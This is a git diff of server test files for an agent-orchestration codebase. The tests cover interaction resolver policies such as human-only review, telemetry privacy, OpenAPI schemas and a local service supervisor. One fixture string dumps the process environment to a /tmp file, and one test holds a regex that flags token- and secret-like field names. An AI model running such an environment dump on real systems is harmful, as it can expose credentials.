     const answered = await interactionsSvc.answerQuestions(
@@ -211,7 +236,7 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
       { agentId: addresseeAgentId, runId: addresseeRunId },
     )).rejects.toMatchObject({
       status: 403,
-      message: expect.stringContaining("board-only"),
+      message: expect.stringContaining("human-only"),
     });
 
     await expect(interactionsSvc.create(
@@ -1684,9 +1709,11 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
     const created = await interactionsSvc.create({ id: issueId, companyId }, {
       kind: "request_confirmation",
       payload: { version: 1, prompt: "Approve this review?" },
+      resolverPolicy: "anyone",
     }, {
       userId: "local-board",
     });
+    await recordReviewTransition({ companyId, issueId, interactionId: created.id });
 
     const accepted = await interactionsSvc.acceptInteraction({
       id: issueId,
@@ -1696,7 +1723,7 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
     }, created.id, {}, {
       agentId: resolverAgentId,
       runId: resolverRunId,
-      reviewVerdictAuthorized: true,
+      resolverPolicyRestriction: "anyone",
     });
 
     expect(accepted.interaction).toMatchObject({
@@ -1707,10 +1734,113 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
     });
   });
 
+  it.each(["accept", "reject"] as const)(
+    "revalidates review policy under the issue lock before interaction %s",
+    async (action) => {
+      const { companyId, goalId, issueId } = await seedConfirmationIssue(`Locked ${action} policy`);
+      const resolverAgentId = randomUUID();
+      const resolverRunId = randomUUID();
+      await db.insert(agents).values({
+        id: resolverAgentId,
+        companyId,
+        name: "Review agent",
+        role: "reviewer",
+        status: "active",
+        adapterType: "codex_local",
+        adapterConfig: {},
+        runtimeConfig: {},
+        permissions: {},
+      });
+      await db.insert(heartbeatRuns).values({
+        id: resolverRunId,
+        companyId,
+        agentId: resolverAgentId,
+        invocationSource: "manual",
+        status: "running",
+        startedAt: new Date(),
+      });
+      const created = await interactionsSvc.create({ id: issueId, companyId }, {
+        kind: "request_confirmation",
+        payload: { version: 1, prompt: "Approve this review?" },
+      }, {
+        userId: "local-board",
+      });
+      await db.update(issues)
+        .set({ status: "in_review", reviewPolicy: "anyone" })
+        .where(eq(issues.id, issueId));
+      await recordReviewTransition({ companyId, issueId, interactionId: created.id });
+
+      let releasePolicyLock!: () => void;
+      let policyLockReady!: () => void;
+      const holdPolicyLock = new Promise<void>((resolve) => {
+        releasePolicyLock = resolve;
+      });
+      const policyLocked = new Promise<void>((resolve) => {
+        policyLockReady = resolve;
+      });
+      const tightenPolicy = db.transaction(async (tx) => {
+        await tx.select({ id: issues.id })
+          .from(issues)
+          .where(eq(issues.id, issueId))
+          .for("update");
+        await tx.update(issues)
+          .set({ reviewPolicy: "human_only" })
+          .where(eq(issues.id, issueId));
+        policyLockReady();
+        await holdPolicyLock;
+      });
+      await policyLocked;
+
+      const actor = {
+        agentId: resolverAgentId,
+        runId: resolverRunId,
+        reviewVerdictAuthorized: true,
+      };
+      const verdict = action === "accept"
+        ? interactionsSvc.acceptInteraction({
+            id: issueId,
+            companyId,
+            goalId,
+            projectId: null,
+            status: "in_review",
+          }, created.id, {}, actor)
+        : interactionsSvc.rejectInteraction({
+            id: issueId,
+            companyId,
+            status: "in_review",
+          }, created.id, { reason: "Needs changes" }, actor);
+      let verdictSettled = false;
+      void verdict.then(
+        () => { verdictSettled = true; },
+        () => { verdictSettled = true; },
+      );
+      const denied = expect(verdict).rejects.toMatchObject({
+        status: 403,
+        details: expect.objectContaining({
+          code: "review_policy_denied",
+          policy: "human_only",
+        }),
+      });
+
+      await new Promise((resolve) => setTimeout(resolve, 25));
+      expect(verdictSettled).toBe(false);
+      releasePolicyLock();
+      await tightenPolicy;
+      await denied;
+
+      const persisted = await db.select({ status: issueThreadInteractions.status })
+        .from(issueThreadInteractions)
+        .where(eq(issueThreadInteractions.id, created.id))
+        .then((rows) => rows[0]);
+      expect(persisted?.status).toBe("pending");
+    },
+  );
+
   it("preserves creator and same-run guards for authorized agent review verdicts", async () => {
     const { companyId, goalId, issueId } = await seedConfirmationIssue("Guard agent review verdicts");
     const resolverAgentId = randomUUID();
     const resolverRunId = randomUUID();
+    await db.update(issues).set({ status: "in_review" }).where(eq(issues.id, issueId));
     await db.insert(agents).values({
       id: resolverAgentId,
       companyId,
@@ -1734,12 +1864,14 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
     const createdByResolver = await interactionsSvc.create({ id: issueId, companyId }, {
       kind: "request_confirmation",
       payload: { version: 1, prompt: "Approve your own request?" },
+      resolverPolicy: "anyone",
     }, {
       userId: "local-board",
     });
     await db.update(issueThreadInteractions)
       .set({ createdByAgentId: resolverAgentId })
       .where(eq(issueThreadInteractions.id, createdByResolver.id));
+    await recordReviewTransition({ companyId, issueId, interactionId: createdByResolver.id });
 
     const createdBySameRun = await interactionsSvc.create({ id: issueId, companyId }, {
       kind: "request_checkbox_confirmation",
@@ -1748,6 +1880,7 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
         prompt: "Approve the same run?",
         options: [{ id: "approve", label: "Approve" }],
       },
+      resolverPolicy: "anyone",
     }, {
       userId: "local-board",
     });
@@ -1759,13 +1892,20 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
     const actor = {
       agentId: resolverAgentId,
       runId: resolverRunId,
-      reviewVerdictAuthorized: true,
+      resolverPolicyRestriction: "not_creator",
     };
     await expect(interactionsSvc.acceptInteraction(issue, createdByResolver.id, {}, actor))
-      .rejects.toThrow("Agents cannot resolve interactions they created");
+      .rejects.toThrow("requires a resolver other than its creator or creating run");
+    await db.update(activityLog).set({
+      details: {
+        status: "in_review",
+        reviewInteractionId: createdBySameRun.id,
+        _previous: { status: "in_progress" },
+      },
+    }).where(eq(activityLog.entityId, issueId));
     await expect(interactionsSvc.acceptInteraction(issue, createdBySameRun.id, {
       selectedOptionIds: ["approve"],
-    }, actor)).rejects.toThrow("Agents cannot resolve interactions created by the same run");
+    }, actor)).rejects.toThrow("requires a resolver other than its creator or creating run");
   });
 
   it("accepts request_checkbox_confirmation interactions with selected option ids", async () => {
@@ -2825,16 +2965,20 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
       latestRevisionNumber: 2,
     });
 
-    const accepted = await interactionsSvc.acceptInteraction({
+    await expect(interactionsSvc.acceptInteraction({
       id: issueId,
       companyId,
       goalId,
       projectId: null,
     }, created.id, {}, {
       userId: "local-board",
+    })).rejects.toMatchObject({
+      status: 409,
+      details: { code: "interaction_stale_target" },
     });
 
-    expect(accepted.interaction).toMatchObject({
+    const expired = await interactionsSvc.getForIssue({ id: issueId, companyId }, created.id);
+    expect(expired).toMatchObject({
       id: created.id,
       status: "expired",
       payload: {
@@ -3086,17 +3230,20 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
       latestRevisionNumber: 2,
     });
 
-    const stale = await interactionsSvc.submitItemVerdicts({
+    await expect(interactionsSvc.submitItemVerdicts({
       id: issueId,
       companyId,
     }, created.id, {
       verdicts: [{ id: "docs", verdict: "approve" }],
     }, {
       userId: "local-board",
+    })).rejects.toMatchObject({
+      status: 409,
+      details: { code: "interaction_stale_target" },
     });
 
-    expect(stale.newlyResolvedItemIds).toEqual([]);
-    expect(stale.interaction).toMatchObject({
+    const stale = await interactionsSvc.getForIssue({ id: issueId, companyId }, created.id);
+    expect(stale).toMatchObject({
       id: created.id,
       status: "expired",
       payload: {
diff --git a/server/src/__tests__/issue-thread-interactions-telemetry.test.ts b/server/src/__tests__/issue-thread-interactions-telemetry.test.ts
index 1a5807614f3..6433a8a4c33 100644
--- a/server/src/__tests__/issue-thread-interactions-telemetry.test.ts
+++ b/server/src/__tests__/issue-thread-interactions-telemetry.test.ts
@@ -126,6 +126,40 @@ describeEmbeddedPostgres("issueThreadInteractionService telemetry", () => {
     return calls.at(-1)?.[1] as Record<string, unknown>;
   }
 
+  function lastInteractionCreatedDimensions() {
+    expect(telemetryMocks.track).toHaveBeenCalledWith("interaction.created", expect.any(Object));
+    const calls = telemetryMocks.track.mock.calls.filter((call) => call[0] === "interaction.created");
+    return calls.at(-1)?.[1] as Record<string, unknown>;
+  }
+
+  it("emits deprecated resolver alias use at creation without interaction content", async () => {
+    const { companyId, issueId } = await seedIssue("Deprecated alias telemetry issue title");
+
+    await interactionsSvc.create({
+      id: issueId,
+      companyId,
+    }, {
+      kind: "request_confirmation",
+      resolverPolicy: "board_only",
+      title: "Private confirmation title",
+      summary: "Private confirmation summary",
+      payload: {
+        version: 1,
+        prompt: "Private confirmation prompt",
+        detailsMarkdown: "Private confirmation details",
+        acceptLabel: "Private accept label",
+        rejectLabel: "Private reject label",
+      },
+    }, {
+      userId: "local-board",
+    });
+
+    expect(lastInteractionCreatedDimensions()).toEqual({
+      interaction_kind: "request_confirmation",
+      used_deprecated_resolver_policy_alias: true,
+    });
+  });
+
   it("emits accepted suggested-task telemetry with created and skipped task counts", async () => {
     const { companyId, goalId, issueId } = await seedIssue("Accept suggested tasks telemetry");
 
@@ -286,7 +320,7 @@ describeEmbeddedPostgres("issueThreadInteractionService telemetry", () => {
     expectNoRawInteractionIds(dimensions);
   });
 
-  it("emits answered question telemetry with system resolver and raw creator role", async () => {
+  it("emits answered question telemetry with system resolver and legacy restriction signal", async () => {
     const { companyId, issueId } = await seedIssue("Answer question telemetry");
     const creatorAgentId = await seedAgent(companyId, "Wizard");
 
@@ -319,7 +353,10 @@ describeEmbeddedPostgres("issueThreadInteractionService telemetry", () => {
     });
     await db
       .update(issueThreadInteractions)
-      .set({ continuationPolicy: "" })
+      .set({
+        continuationPolicy: "",
+        resolverPolicyProvenance: "legacy_inherited_restriction",
+      })
       .where(eq(issueThreadInteractions.id, created.id));
 
     await interactionsSvc.answerQuestions({
@@ -328,7 +365,9 @@ describeEmbeddedPostgres("issueThreadInteractionService telemetry", () => {
     }, created.id, {
       answers: [{ questionId: "scope", optionIds: ["phase-1"] }],
       summaryMarkdown: "Do not emit this free text.",
-    }, {});
+    }, {
+      systemId: "system:pr-merged",
+    });
 
     const dimensions = lastInteractionResolvedDimensions();
     expect(dimensions).toMatchObject({
@@ -340,10 +379,14 @@ describeEmbeddedPostgres("issueThreadInteractionService telemetry", () => {
       target_type: "none",
       question_count: 2,
       answered_question_count: 1,
+      legacy_inherited_restriction: true,
     });
     expect(dimensions).not.toHaveProperty("continuation_policy");
     expect(dimensions).not.toHaveProperty("summaryMarkdown");
     expect(dimensions).not.toHaveProperty("answers");
+    expect(JSON.stringify(dimensions)).not.toContain("Choose the scope");
+    expect(JSON.stringify(dimensions)).not.toContain("Phase 1");
+    expect(JSON.stringify(dimensions)).not.toContain("Do not emit this free text.");
     expectNoRawInteractionIds(dimensions);
   });
 
diff --git a/server/src/__tests__/issue-update-comment-wakeup-routes.test.ts b/server/src/__tests__/issue-update-comment-wakeup-routes.test.ts
index ce168995c14..d0846cb2b3c 100644
--- a/server/src/__tests__/issue-update-comment-wakeup-routes.test.ts
+++ b/server/src/__tests__/issue-update-comment-wakeup-routes.test.ts
@@ -8,6 +8,7 @@ const MENTIONED_AGENT_ID = "33333333-3333-4333-8333-333333333333";
 
 const mockIssueService = vi.hoisted(() => ({
   getById: vi.fn(),
+  getByIdForUpdate: vi.fn(),
   update: vi.fn(),
   addComment: vi.fn(),
   findMentionedAgents: vi.fn(),
@@ -192,7 +193,9 @@ async function createApp() {
     };
     next();
   });
-  app.use("/api", issueRoutes({} as any, {} as any));
+  app.use("/api", issueRoutes({
+    transaction: async (callback: (tx: Record<string, never>) => Promise<unknown>) => callback({}),
+  } as any, {} as any));
   app.use(errorHandler);
   return app;
 }
@@ -227,6 +230,7 @@ describe("issue update comment wakeups", () => {
     registerModuleMocks();
     vi.clearAllMocks();
     mockIssueService.findMentionedAgents.mockResolvedValue([]);
+    mockIssueService.getByIdForUpdate.mockImplementation(async () => mockIssueService.getById());
     mockIssueService.getRelationSummaries.mockResolvedValue({ blockedBy: [], blocks: [] });
     mockIssueService.listWakeableBlockedDependents.mockResolvedValue([]);
     mockIssueService.getWakeableParentAfterChildCompletion.mockResolvedValue(null);
@@ -258,7 +262,10 @@ describe("issue update comment wakeups", () => {
       });
 
     expect(res.status).toBe(200);
-    expect(mockHeartbeatService.wakeup).toHaveBeenCalledTimes(1);
+    // The route dispatches the wake after it sends the response, so wait for
+    // the fire-and-forget dispatch to settle. This keeps the wake inside this
+    // test and stops it from leaking into the next test as an extra call.
+    await vi.waitFor(() => expect(mockHeartbeatService.wakeup).toHaveBeenCalledTimes(1));
     expect(mockHeartbeatService.wakeup).toHaveBeenCalledWith(
       ASSIGNEE_AGENT_ID,
       expect.objectContaining({
diff --git a/server/src/__tests__/issues-service.test.ts b/server/src/__tests__/issues-service.test.ts
index 825e0048fd1..ee0632e6732 100644
--- a/server/src/__tests__/issues-service.test.ts
+++ b/server/src/__tests__/issues-service.test.ts
@@ -2590,11 +2590,65 @@ describeEmbeddedPostgres("issueService.list participantAgentId", () => {
 
     expect(result).toBeTruthy();
     expect(result?.description).toHaveLength(1200);
+    expect(result?.descriptionTruncated).toBe(true);
     expect(result?.executionPolicy).toBeNull();
     expect(result?.executionState).toBeNull();
     expect(result?.executionWorkspaceSettings).toBeNull();
   });
 
+  it("marks list descriptions as not truncated when they fit the preview limit", async () => {
+    const companyId = randomUUID();
+    const issueId = randomUUID();
+    const description = "x".repeat(1200);
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Paperclip",
+      issuePrefix: `T${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+
+    await db.insert(issues).values({
+      id: issueId,
+      companyId,
+      title: "Exact preview issue",
+      description,
+      status: "todo",
+      priority: "medium",
+    });
+
+    const [result] = await svc.list(companyId);
+
+    expect(result?.description).toHaveLength(1200);
+    expect(result?.descriptionTruncated).toBe(false);
+  });
+
+  it("marks null list descriptions as not truncated", async () => {
+    const companyId = randomUUID();
+    const issueId = randomUUID();
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Paperclip",
+      issuePrefix: `T${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+
+    await db.insert(issues).values({
+      id: issueId,
+      companyId,
+      title: "Null description issue",
+      description: null,
+      status: "todo",
+      priority: "medium",
+    });
+
+    const [result] = await svc.list(companyId);
+
+    expect(result?.description).toBeNull();
+    expect(result?.descriptionTruncated).toBe(false);
+  });
+
   it("does not let description preview truncation split multibyte characters", async () => {
     const companyId = randomUUID();
     const issueId = randomUUID();
@@ -2620,6 +2674,7 @@ describeEmbeddedPostgres("issueService.list participantAgentId", () => {
 
     expect(result?.description).toHaveLength(1200);
     expect(result?.description?.endsWith("—")).toBe(true);
+    expect(result?.descriptionTruncated).toBe(true);
   });
 });
 
diff --git a/server/src/__tests__/kimi-local-skill-sync.test.ts b/server/src/__tests__/kimi-local-skill-sync.test.ts
new file mode 100644
index 00000000000..7bb904252a4
--- /dev/null
+++ b/server/src/__tests__/kimi-local-skill-sync.test.ts
@@ -0,0 +1,51 @@
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, describe, expect, it } from "vitest";
+import {
+  listKimiSkills,
+  syncKimiSkills,
+} from "@paperclipai/adapter-kimi-local/server";
+
+async function makeTempDir(prefix: string): Promise<string> {
+  return fs.mkdtemp(path.join(os.tmpdir(), prefix));
+}
+
+describe("kimi local skill sync", () => {
+  const paperclipKey = "paperclipai/paperclip/paperclip";
+  const cleanupDirs = new Set<string>();
+
+  afterEach(async () => {
+    await Promise.all(Array.from(cleanupDirs).map((dir) => fs.rm(dir, { recursive: true, force: true })));
+    cleanupDirs.clear();
+  });
+
+  it("reports configured Paperclip skills and installs them into the Kimi skills home", async () => {
+    const kimiCodeHome = await makeTempDir("paperclip-kimi-skill-sync-");
+    cleanupDirs.add(kimiCodeHome);
+
+    const ctx = {
+      agentId: "agent-1",
+      companyId: "company-1",
+      adapterType: "kimi_local",
+      config: {
+        env: {
+          KIMI_CODE_HOME: kimiCodeHome,
+        },
+        paperclipSkillSync: {
+          desiredSkills: [paperclipKey],
+        },
+      },
+    } as const;
+
+    const before = await listKimiSkills(ctx);
+    expect(before.adapterType).toBe("kimi_local");
+    expect(before.mode).toBe("persistent");
+    expect(before.desiredSkills).toContain(paperclipKey);
+    expect(before.entries.find((entry) => entry.key === paperclipKey)?.state).toBe("missing");
+
+    const after = await syncKimiSkills(ctx, [paperclipKey]);
+    expect(after.entries.find((entry) => entry.key === paperclipKey)?.state).toBe("installed");
+    expect((await fs.lstat(path.join(kimiCodeHome, "skills", "paperclip"))).isSymbolicLink()).toBe(true);
+  });
+});
diff --git a/server/src/__tests__/local-service-supervisor.test.ts b/server/src/__tests__/local-service-supervisor.test.ts
new file mode 100644
index 00000000000..99d49e4c1d8
--- /dev/null
+++ b/server/src/__tests__/local-service-supervisor.test.ts
@@ -0,0 +1,165 @@
+import { spawn } from "node:child_process";
+import { randomUUID } from "node:crypto";
+import fs from "node:fs/promises";
+import net from "node:net";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, describe, expect, it } from "vitest";
+import {
+  resetRuntimeServicesForTests,
+  startRuntimeServicesForWorkspaceControl,
+} from "../services/workspace-runtime.js";
+import {
+  doesLocalServiceCommandLineMatch,
+  isLocalServiceCommandLineComparable,
+  listLocalServiceRegistryRecords,
+  readLocalServicePortOwner,
+  resolveLocalServiceLogPath,
+  terminateLocalService,
+} from "../services/local-service-supervisor.js";
+
+describe("local service supervision", () => {
+  afterEach(async () => {
+    await resetRuntimeServicesForTests({ terminateProcesses: true });
+  });
+
+  it("keeps request-logging runtime stdio usable after the supervisor side closes", async () => {
+    const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-service-stdio-"));
+    const paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-service-home-"));
+    const previousPaperclipHome = process.env.PAPERCLIP_HOME;
+    const previousInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
+    process.env.PAPERCLIP_HOME = paperclipHome;
+    process.env.PAPERCLIP_INSTANCE_ID = `service-stdio-${randomUUID()}`;
+
+    let registryRecord: Awaited<ReturnType<typeof listLocalServiceRegistryRecords>>[number] | null = null;
+    try {
+      const [service] = await startRuntimeServicesForWorkspaceControl({
+        actor: { id: null, name: "Board", companyId: randomUUID() },
+        issue: null,
+        workspace: {
+          baseCwd: workspaceRoot,
+          source: "agent_home",
+          projectId: null,
+          workspaceId: null,
+          repoUrl: null,
+          repoRef: null,
+          strategy: "project_primary",
+          cwd: workspaceRoot,
+          branchName: null,
+          worktreePath: null,
+          warnings: [],
+          created: false,
+        },
+        config: {
+          workspaceRuntime: {
+            services: [{
+              name: "web",
+              command: "node -e \"const http=require('node:http'); process.on('SIGTERM',()=>{}); http.createServer((req,res)=>{ process.stdout.write('request '+req.url+'\\\\n',(error)=>{ if (!error) res.end('ok'); }); }).listen(Number(process.env.PORT), '127.0.0.1')\"",
+              port: { type: "auto" },
+              readiness: {
+                type: "http",
+                urlTemplate: "http://127.0.0.1:{{port}}",
+                timeoutSec: 10,
+                intervalMs: 100,
+              },
+              lifecycle: "shared",
+              reuseScope: "agent",
+              stopPolicy: { type: "manual" },
+            }],
+          },
+        },
+        adapterEnv: {},
+      });
+
+      expect(service?.url).toMatch(/^http:\/\/127\.0\.0\.1:\d+$/);
+      expect(service?.port).toBeTypeOf("number");
+      registryRecord = (await listLocalServiceRegistryRecords({ profileKind: "workspace-runtime" }))
+        .find((record) => record.runtimeServiceId === service!.id) ?? null;
+      expect(registryRecord).not.toBeNull();
+
+      await resetRuntimeServicesForTests({ simulateSupervisorExit: true });
+
+      await expect(fetch(`${service!.url}/after-restart`)).resolves.toMatchObject({ ok: true });
+      const log = await fs.readFile(resolveLocalServiceLogPath(registryRecord!.serviceKey), "utf8");
+      expect(log).toContain("request /after-restart");
+
+      await terminateLocalService(registryRecord!);
+      expect(await readLocalServicePortOwner(service!.port!)).toBeNull();
+      await expect(fetch(service!.url!)).rejects.toThrow();
+      registryRecord = null;
+    } finally {
+      if (registryRecord) await terminateLocalService(registryRecord).catch(() => undefined);
+      if (previousPaperclipHome === undefined) delete process.env.PAPERCLIP_HOME;
+      else process.env.PAPERCLIP_HOME = previousPaperclipHome;
+      if (previousInstanceId === undefined) delete process.env.PAPERCLIP_INSTANCE_ID;
+      else process.env.PAPERCLIP_INSTANCE_ID = previousInstanceId;
+      await fs.rm(paperclipHome, { recursive: true, force: true });
+      await fs.rm(workspaceRoot, { recursive: true, force: true });
+    }
+  }, 15_000);
+
+  it("does not wait for an unrelated process that takes over the service port", async () => {
+    if (process.platform === "win32") return;
+    const unrelatedListener = net.createServer();
+    await new Promise<void>((resolve) => unrelatedListener.listen(0, "127.0.0.1", resolve));
+    const address = unrelatedListener.address();
+    const port = typeof address === "object" && address ? address.port : null;
+    if (!port) throw new Error("Failed to allocate unrelated listener port");
+    const child = spawn(process.execPath, ["-e", "setInterval(()=>{},1000)"], {
+      detached: true,
+      stdio: "ignore",
+    });
+    child.unref();
+
+    try {
+      await terminateLocalService({
+        pid: child.pid!,
+        processGroupId: child.pid!,
+        port,
+      });
+      expect(await readLocalServicePortOwner(port)).toBe(process.pid);
+    } finally {
+      try {
+        process.kill(-child.pid!, "SIGKILL");
+      } catch {
+        // The target process group was already terminated.
+      }
+      await new Promise<void>((resolve, reject) => {
+        unrelatedListener.close((error) => error ? reject(error) : resolve());
+      });
+    }
+  });
+
+  it("recognizes a pnpm command after the launcher becomes pnpm.cjs", () => {
+    expect(doesLocalServiceCommandLineMatch({
+      commandLine: "/usr/bin/node /opt/pnpm/pnpm.cjs dev -- --bind custom --bind-host 127.0.0.1",
+      recordedCommand: "pnpm dev -- --bind custom --bind-host 127.0.0.1",
+      serviceName: "paperclip-dev",
+    })).toBe(true);
+  });
+
+  it("does not compare shell expressions with the surviving process argv", () => {
+    expect(isLocalServiceCommandLineComparable(
+      "env | sort > /tmp/service.env; exec pnpm dev --bind loopback",
+    )).toBe(false);
+    expect(isLocalServiceCommandLineComparable(
+      "node -e \"process.stdout.write('left | right')\"",
+    )).toBe(true);
+  });
+
+  it("does not accept a different command merely because it uses node", () => {
+    expect(doesLocalServiceCommandLineMatch({
+      commandLine: "/usr/bin/node /workspace/server/dist/index.js",
+      recordedCommand: "pnpm dev -- --bind custom --bind-host 127.0.0.1",
+      serviceName: "paperclip-dev",
+    })).toBe(false);
+  });
+
+  it("does not collapse different script paths to the same basename", () => {
+    expect(doesLocalServiceCommandLineMatch({
+      commandLine: "/usr/bin/node /other-workspace/server.js",
+      recordedCommand: "node ./server.js",
+      serviceName: "web",
+    })).toBe(false);
+  });
+});
diff --git a/server/src/__tests__/openapi-routes.test.ts b/server/src/__tests__/openapi-routes.test.ts
index 4c25d1cbdf1..3d8c85a5f0b 100644
--- a/server/src/__tests__/openapi-routes.test.ts
+++ b/server/src/__tests__/openapi-routes.test.ts
@@ -74,6 +74,12 @@ const explicitOpenApiCoverageExclusions = new Set([
   "smoke-lab.ts",
 ]);
 
+// The set of contract-first routes whose OpenAPI document leads the mounted
+// request handler. The company-and-environment Claude setup-token login routes
+// now have request handlers, so the set is empty. A new contract-first route
+// belongs here only until its handler lands.
+const specOnlyContractFirstRoutes = new Set<string>([]);
+
 function createApp() {
   const app = express();
   app.use("/api", openApiRoutes());
@@ -204,9 +210,28 @@ describe("openapi routes", () => {
       },
     });
     expect(res.body.paths["/api/companies/{companyId}/folders"].post.responses["201"]).toBeDefined();
+    expect(
+      Object.keys(
+        res.body.paths["/api/issues/{id}/work-products/{workProductId}/review-document"].post.responses,
+      ).sort(),
+    ).toEqual(["200", "201", "401", "403", "404", "409", "413", "415", "422"]);
     expect(
       res.body.paths["/api/issues/{id}/interactions/{interactionId}/withdraw"].post.summary,
     ).toBe("Withdraw a pending issue thread interaction");
+    const createInteraction = res.body.paths["/api/issues/{id}/interactions"].post;
+    expect(createInteraction.description).toContain("defaults to canonical `anyone`");
+    const createInteractionSchema = JSON.stringify(
+      createInteraction.requestBody.content["application/json"].schema,
+    );
+    for (const resolverPolicy of [
+      "anyone",
+      "not_creator",
+      "human_only",
+      "board_or_agents",
+      "board_only",
+    ]) {
+      expect(createInteractionSchema).toContain(`\"${resolverPolicy}\"`);
+    }
     expect(res.body.paths["/api/companies/{companyId}/folders/items/move"].post.summary).toBe(
       "Move an item into or out of a folder",
     );
@@ -239,7 +264,9 @@ describe("openapi routes", () => {
     const { routes: specRoutes } = loadSpecRoutes();
 
     const missingInSpec = [...actualRoutes].filter((route) => !specRoutes.has(route)).sort();
-    const extraInSpec = [...specRoutes].filter((route) => !actualRoutes.has(route)).sort();
+    const extraInSpec = [...specRoutes]
+      .filter((route) => !actualRoutes.has(route) && !specOnlyContractFirstRoutes.has(route))
+      .sort();
 
     expect({ unknownRouteFiles, missingInSpec, extraInSpec }).toEqual({
       unknownRouteFiles: [],
@@ -273,5 +300,76 @@ describe("openapi routes", () => {
     expect(spec.paths["/api/invites/{token}/accept"].post.responses["202"]).toBeDefined();
     expect(spec.paths["/api/board-api-keys"].post.responses["201"]).toBeDefined();
     expect(spec.paths["/api/companies/import"].post.responses["202"]).toBeDefined();
+    expect(spec.paths["/api/routines/{id}/run"].post.responses["422"]).toBeDefined();
+  });
+
+  it("publishes the Claude browser-code grammar and strict setup-token response shapes", () => {
+    const { spec } = loadSpecRoutes();
+    const base = "/api/companies/{companyId}/setup-token-login-sessions";
+
+    // The submitted browser code carries the bounded printable-ASCII grammar.
+    const codeBody =
+      spec.paths[`${base}/{sessionId}/code`].post.requestBody.content["application/json"].schema;
+    const browserCode = codeBody.properties.browserCode;
+    expect(browserCode.minLength).toBe(1);
+    expect(browserCode.maxLength).toBe(512);
+    expect(typeof browserCode.pattern).toBe("string");
+    expect(browserCode.pattern.length).toBeGreaterThan(0);
+
+    // Every Claude request object forbids an unknown property.
+    const startBody =
+      spec.paths[base].post.requestBody.content["application/json"].schema;
+    expect(startBody.additionalProperties).toBe(false);
+    expect(codeBody.additionalProperties).toBe(false);
+
+    // The four contract-first routes carry typed strict response schemas.
+    const responseSchemas: Record<string, Record<string, unknown>> = {
+      start: spec.paths[base].post.responses["201"].content["application/json"].schema,
+      status: spec.paths[`${base}/{sessionId}`].get.responses["200"].content["application/json"].schema,
+      prompt: spec.paths[`${base}/{sessionId}/prompt`].get.responses["200"].content["application/json"].schema,
+      code: spec.paths[`${base}/{sessionId}/code`].post.responses["200"].content["application/json"].schema,
+    };
+    const forbiddenProperties = ["token", "accountId", "leaseId"];
+    for (const [name, schema] of Object.entries(responseSchemas)) {
+      expect(schema.type, `${name} response is a typed object`).toBe("object");
+      expect(schema.additionalProperties, `${name} response is strict`).toBe(false);
+      const properties = (schema.properties ?? {}) as Record<string, unknown>;
+      expect(Object.keys(properties).length, `${name} response lists properties`).toBeGreaterThan(0);
+      for (const forbidden of forbiddenProperties) {
+        expect(properties[forbidden], `${name} response hides ${forbidden}`).toBeUndefined();
+      }
+      // No property name looks like a raw prompt secret or a token.
+      for (const property of Object.keys(properties)) {
+        expect(/token|secret|accountId|leaseId/i.test(property), `${name}.${property} is not secret-adjacent`).toBe(
+          false,
+        );
+      }
+    }
+
+    // The status and code routes share the public response; it hides the prompt.
+    expect(responseSchemas.status.properties).toEqual(responseSchemas.code.properties);
+    expect((responseSchemas.status.properties as Record<string, unknown>).prompt).toBeUndefined();
+    // The owner start response adds the panel mode and the one-time prompt.
+    expect((responseSchemas.start.properties as Record<string, unknown>).panelMode).toBeDefined();
+    expect((responseSchemas.start.properties as Record<string, unknown>).prompt).toBeDefined();
+    // The prompt route returns the authorization URL and the optional transport
+    // advisory. The advisory is present on a non-confidential transport, so the
+    // client can show a non-blocking disclaimer.
+    expect(Object.keys(responseSchemas.prompt.properties as Record<string, unknown>)).toEqual([
+      "authorizationUrl",
+      "transportAdvisory",
+    ]);
+  });
+
+  it("documents the 404 non-member gate on the Claude setup-token cancel route", () => {
+    const { spec } = loadSpecRoutes();
+    const cancel =
+      spec.paths["/api/companies/{companyId}/setup-token-login-sessions/{sessionId}/cancel"].post;
+    // The 404 is reachable at run time. The company-access gate returns a fixed
+    // 404 for a non-member before the cancel logic runs, so the spec declares
+    // it. The idempotent cancel still returns 200 for an owner-scoped missing,
+    // terminal, or foreign session id.
+    const codes = Object.keys(cancel.responses).sort();
+    expect(codes).toEqual(["200", "401", "403", "404"]);
   });
 });
diff --git a/server/src/__tests__/opencode-local-adapter-environment.test.ts b/server/src/__tests__/opencode-local-adapter-environment.test.ts
index 736dd9f8e5c..234c300d465 100644
--- a/server/src/__tests__/opencode-local-adapter-environment.test.ts
+++ b/server/src/__tests__/opencode-local-adapter-environment.test.ts
@@ -57,7 +57,7 @@ describe("opencode_local environment diagnostics", () => {
       }
       await fs.rm(cwd, { recursive: true, force: true });
     }
-  });
+  }, 10_000);
 
   it("classifies ProviderModelNotFoundError probe output as model-unavailable warning", async () => {
     const cwd = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-opencode-env-probe-cwd-"));
@@ -92,5 +92,5 @@ describe("opencode_local environment diagnostics", () => {
       await fs.rm(cwd, { recursive: true, force: true });
       await fs.rm(binDir, { recursive: true, force: true });
     }
-  });
+  }, 10_000);
 });
diff --git a/server/src/__tests__/paperclip-skill-utils.test.ts b/server/src/__tests__/paperclip-skill-utils.test.ts
index 26b11cb428c..69534941b6c 100644
--- a/server/src/__tests__/paperclip-skill-utils.test.ts
+++ b/server/src/__tests__/paperclip-skill-utils.test.ts
@@ -68,7 +68,7 @@ describe("paperclip skill utils", () => {
     const apiReference = await fs.readFile(path.resolve("skills/paperclip/references/api-reference.md"), "utf8");
     const issueDocs = await fs.readFile(path.resolve("docs/api/issues.md"), "utf8");
